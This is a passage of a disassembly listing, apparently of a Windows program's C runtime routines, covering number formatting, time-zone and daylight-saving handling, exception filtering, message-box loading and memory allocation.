short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC78 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC90 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DB470 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DB498, eax add esp, 18h movsx eax, byte_4DB472 mov dword_4DB490, eax pop edi movsx eax, word_4DB470 mov dword_4DB494, eax mov dword_4DB49C, offset dword_4DB474 mov eax, offset dword_4DB490 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043C8B8o ; ___:0043D118o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DB4A0 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DB4A0 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1EB8A3E8h], dl add ah, byte ptr dword_4DB4A0[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DB4A035h, 0B892E800h, 0C390021Eh ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2600B6Dh test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 28C087Eh nop test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 2600ACAh test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DB560, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DB560 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DB4A8, ebp mov dword_43CD50, ebx mov dword_43CD40, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DB4B0 nop call near ptr 2880000h cmp eax, ebx jz loc_424A44 mov eax, dword_4DB4B0 mov ecx, dword_4DB504 imul eax, 3Ch cmp word_4DB4F6, bp push 1 pop edx mov dword_43CCA8, eax mov dword_4DB4A8, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43CCA8, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DB54A, bp jz short loc_424887 mov eax, dword_4DB558 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43CCAC, edx imul eax, 3Ch mov dword_43CCB0, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43CCAC, ebp mov dword_43CCB0, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43CD34 push ebx push offset dword_4DB4B4 push edi push dword_4DB344 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43CD34 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43CD34 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43CD38 push ebx push offset dword_4DB508 push edi push dword_4DB344 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43CD38 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DB55C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DB55C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DB55C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43CD34 call sub_41B5F0 mov eax, off_43CD34 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43CCA8, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43CCA8, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43CCAC, eax jz short loc_424A3C push 3 push esi push off_43CD38 call sub_41B5F0 mov eax, off_43CD38 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43CD38 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43CCAC, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43CD40 jnz short loc_424A7C cmp eax, dword_43CD50 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DB4A8, edi jz loc_424B54 movzx ecx, word_4DB556 push ecx cmp word_4DB548, di movzx ecx, word_4DB554 push ecx movzx ecx, word_4DB552 push ecx movzx ecx, word_4DB550 push ecx jnz short loc_424ACE movzx ecx, word_4DB54C push edi push ecx movzx ecx, word_4DB54E push ecx movzx ecx, word_4DB54A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DB54E push ecx push edi movzx ecx, word_4DB54A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DB502 add esp, 2Ch cmp word_4DB4F4, di push eax movzx eax, word_4DB500 push eax movzx eax, word_4DB4FE push eax movzx eax, word_4DB4FC push eax jnz short loc_424B3C movzx eax, word_4DB4F8 push edi push eax movzx eax, word_4DB4FA push eax movzx eax, word_4DB4F6 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DB4FA push eax push edi movzx eax, word_4DB4F6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43CD44 mov eax, dword_43CD54 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43CD48 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43CD58 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43CD58[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43CD8C[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43CD5C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43CD90[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43CD58[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43CD8C[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43CD44, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43CD40, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD48, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43CD54, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43CCB0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD58, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43CD58, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43CD58, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43CD54, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43CD50, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DC7E1[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C302[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DB564, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" nop call near ptr 26B0000h mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DB564, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DB568, eax call esi mov dword_4DB56C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DB568 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DB56C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DB564 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DC900 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C2F4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DC904 call near ptr 27C0000h nop mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB2FC, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE 